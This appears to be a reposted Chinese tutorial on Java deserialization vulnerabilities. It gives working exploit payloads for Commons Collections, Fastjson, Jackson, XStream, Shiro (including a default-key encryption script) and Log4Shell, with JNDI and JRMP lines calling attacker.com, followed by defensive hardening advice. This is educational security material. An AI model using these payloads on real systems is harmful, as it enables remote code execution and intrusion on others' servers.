反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解
文章全面解析Java反序列化漏洞的原理、利用方式及防护措施,涵盖常见库如Commons Collections、Fastjson等的漏洞案例,并提供工具如Ysoserial生成Payload,强调使用类白名单和升级依赖的重要性。 2025-6-16 11:27:26 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

Java反序列化漏洞全解:原理、案例、利用与防护

本文全面解析Java反序列化漏洞,涵盖其原理、利用方式、实际案例、测试代码、攻击示例及防护措施。整合了ysoserial等工具的用法,提供可复现的攻击Payload,并补充了遗漏内容,旨在为开发者和安全研究人员提供一份详尽的参考指南。

1. 什么是Java反序列化漏洞?

Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的ObjectInputStream机制,自动还原序列化数据的对象状态。

反序列化基本流程

反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码

如果攻击者控制object.ser的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。

漏洞核心要素

  1. 可控输入:攻击者能够提供恶意的序列化数据。

  2. 反序列化触发:应用调用readObject()或通过易受攻击的库处理数据。

  3. Gadget链:在反序列化时自动触发恶意代码的类和方法链。

2. 利用原理

Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()readResolve()finalize()等方法,可被操纵执行恶意代码。常见的攻击目标包括Apache Commons Collections、Fastjson、Jackson、XStream等库,以及Apache Shiro等框架。

主要攻击方式

  • 命令执行:通过Gadget链调用Runtime.getRuntime().exec()执行任意命令。

  • 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类。

  • 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞。

image.png

3. 常见Java反序列化漏洞与利用

以下是常见反序列化漏洞的详细分析,包括工具、Payload、测试代码及攻击示例。

工具准备:ysoserial

ysoserial是一个用于生成Java反序列化漏洞Payload的强大工具。

安装步骤

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

编译后生成ysoserial-[version]-all.jar,可用于生成多种Gadget链的Payload。

3.1 Apache Commons Collections(CC)

漏洞描述:Apache Commons Collections库(3.1–3.2.1及4.0版本)中的InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。

利用原理:通过InvokerTransformerChainedTransformer,结合LazyMapTiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()

生成Payload(使用ysoserial):

java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  • Windows下使用calc打开计算器,Linux可替换为gnome-calculatorxcalc

服务端测试代码(易受攻击):

import java.io.*;
import org.apache.commons.collections.map.LazyMap;

public class VulnerableServer {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
        ois.readObject(); // 触发命令执行
        ois.close();
    }
}

攻击示例

  1. 生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser

  2. 通过网络接口(文件上传或Socket)将payload.ser发送到服务端。

  3. 服务端反序列化Payload,执行calc.exe

可用链:CommonsCollections1–6,其中CommonsCollections1在旧版本中最可靠。

3.2 Fastjson(版本<1.2.47)

漏洞描述:Fastjson的@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。

利用Payload(JSON):

{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "bytecodes": ["BASE64编码的恶意类"],
  "name": "Exploit",
  "tfactory": {}
}

创建恶意类

  1. 编写Exploit.java

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
}
  1. 编译并编码:

javac Exploit.java
base64 Exploit.class > exploit.b64
  1. 将base64内容插入JSON的bytecodes字段。

服务端测试代码(易受攻击):

import com.alibaba.fastjson.JSON;

public class VulnerableFastjson {
    public static void main(String[] args) throws Exception {
        String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
        JSON.parse(json); // 触发漏洞
    }
}

攻击示例

  1. 将恶意JSON发送到服务端接口(例如通过HTTP POST)。

  2. Fastjson反序列化Payload,执行calc命令。

受影响版本

  • Fastjson ≤ 1.2.24:默认启用autotype。

  • Fastjson ≤ 1.2.47:存在绕过方式(如使用B@替代@type)。

3.3 Jackson(启用Default Typing)

漏洞描述:Jackson的ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。

利用Payload(JSON):

{
  "@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "bytecodes": ["BASE64编码的恶意类"],
  "name": "Exploit",
  "tfactory": {}
}

服务端测试代码(易受攻击):

import com.fasterxml.jackson.databind.ObjectMapper;

public class VulnerableJackson {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(); // 危险配置
        String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
        mapper.readValue(json, Object.class); // 触发漏洞
    }
}

攻击示例

  1. 使用与Fastjson相同的Exploit.java和base64编码。

  2. 将JSON Payload发送到服务端接口。

  3. 服务端反序列化Payload,执行恶意代码。

3.4 XStream(版本<1.4.15)

漏洞描述:XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。

利用Payload(XML):

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <size>2</size>
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
      <name>Exploit</name>
      <bytecodes>
        <bytearray>BASE64编码的恶意类</bytearray>
      </bytecodes>
      <tfactory/>
    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
    <string>test</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

服务端测试代码(易受攻击):

import com.thoughtworks.xstream.XStream;

public class VulnerableXStream {
    public static void main(String[] args) {
        XStream xstream = new XStream();
        String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
        xstream.fromXML(xml); // 触发漏洞
    }
}

攻击示例

  1. 生成base64编码的恶意类(参考Fastjson部分)。

  2. 将base64字符串嵌入XML Payload。

  3. 将XML发送到服务端,触发代码执行。

3.5 Apache Shiro RememberMe

漏洞描述:Apache Shiro的rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。

利用步骤

  1. 使用ysoserial生成Payload:

java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
  1. 使用已知AES密钥加密Payload:

from Crypto.Cipher import AES
import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, key)
with open("payload.bin", "rb") as f:
    data = f.read()
pad = 16 - len(data) % 16
data += bytes([pad] * pad)
payload = cipher.encrypt(data)
encoded = base64.b64encode(payload).decode()
print(encoded)
  1. 构造请求:

GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=BASE64编码的Payload

攻击示例

  1. 使用ysoserial生成CommonsCollections Payload。

  2. 使用默认或爆破的AES密钥加密。

  3. 设置rememberMeCookie并发送请求,触发反序列化。

3.6 Log4j2 JNDI注入(CVE-2021-44228,Log4Shell)

突然想到这个,也写一下~

漏洞描述:Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。
log4j2.png

利用Payload

${jndi:ldap://attacker.com/Exploit}

攻击准备

  1. 使用marshalsec启动LDAP服务:

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/Exploit"
  1. http://attacker.com/Exploit托管恶意类(Exploit.class)。

服务端测试代码(易受攻击):

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableLog4j {
    private static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        String userInput = "${jndi:ldap://attacker.com/Exploit}";
        logger.info(userInput); // 触发JNDI查询
    }
}

攻击示例

  1. 将Payload注入可记录的字段(例如HTTPUser-Agent头):

GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
  1. 服务端记录日志时触发JNDI查询,执行远程类。

4. 其他漏洞与利用

4.1 Spring Framework(Spring4Shell,CVE-2022-22965)

漏洞描述:在特定配置下,Spring的数据绑定允许攻击者操纵序列化对象,导致RCE。

利用Payload

POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=malicious

防护措施:升级到Spring Framework ≥ 5.3.18,或应用严格的绑定规则。

4.2 Java RMI反序列化

漏洞描述:Java的远程方法调用(RMI)可能反序列化不可信数据,特别是在旧JDK版本(<8u121)中。

利用示例

  1. 使用ysoserial生成RMI Payload:

java -jar ysoserial.jar JRMPClient "attacker.com:1099/Exploit" > payload.ser
  1. 将Payload发送到RMI服务端,触发远程类加载。

防护措施:限制RMI仅限可信主机,应用JDK安全补丁(例如8u121+)。

5. 检测与测试工具

以下工具可用于检测和测试反序列化漏洞:

  • Ysoserial:生成多种Gadget链Payload。GitHub

  • Ysomap:统一的反序列化利用工具。GitHub

  • Shiro_attack:测试Shiro RememberMe漏洞。GitHub

  • Log4jscan:扫描Log4Shell漏洞。GitHub

  • Fastjson-blacklist-checker:检测Fastjson漏洞。GitHub

6. 防护与加固

通用实践

  1. 避免反序列化不可信数据:禁止处理来自不可信源的数据。

  2. 使用类白名单:限制反序列化仅允许指定的类。

  3. 升级依赖:使用最新版本的库和框架。

  4. 应用安全补丁:定期更新JDK和依赖项。

具体防护措施

库/组件防护措施
Commons Collections升级到3.2.2+或4.1+;使用ObjectInputFilter限制类。
Fastjson禁用autotype;使用ParserConfig.getGlobalInstance().addAccept()设置白名单。
Jackson禁用enableDefaultTyping();为ObjectMapper配置类白名单。
XStream使用xstream.allowTypes()限制可反序列化的类。
Apache Shiro更换默认AES密钥;禁用rememberMe或使用签名机制。
Log4j2升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true;禁用JNDI。
Spring Framework升级到≥5.3.18;限制数据绑定参数。
Java RMI限制RMI仅限可信主机;应用JDK补丁(例如8u121+)。

示例:使用ObjectInputFilter实现安全反序列化

import java.io.*;

public class SafeDeserialization {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
        ois.setObjectInputFilter(filter -> {
            Class<?> clazz = filter.getType();
            if (clazz != null && MySafeClass.class.equals(clazz)) {
                return ObjectInputFilter.Status.ALLOWED;
            }
            return ObjectInputFilter.Status.REJECTED;
        });
        Object obj = ois.readObject();
        ois.close();
    }
}

7. 总结

Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。Apache Commons Collections、Fastjson、Jackson、XStream、Apache Shiro及Log4j2等库和框架是常见的攻击目标。通过理解Gadget链、使用ysoserial等工具生成Payload,以及采取严格的防护措施,开发者和安全人员可以有效应对这些威胁。

核心要点

  • 在反序列化前验证和过滤所有输入数据。

  • 使用类白名单,避免使用危险方法如readObject()

  • 保持依赖项和JDK的更新。

  • 使用ysoserial和Ysomap等工具测试应用漏洞。

通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。


文章来源: https://www.freebuf.com/articles/web/435008.html
如有侵权请联系:admin#unsafe.sh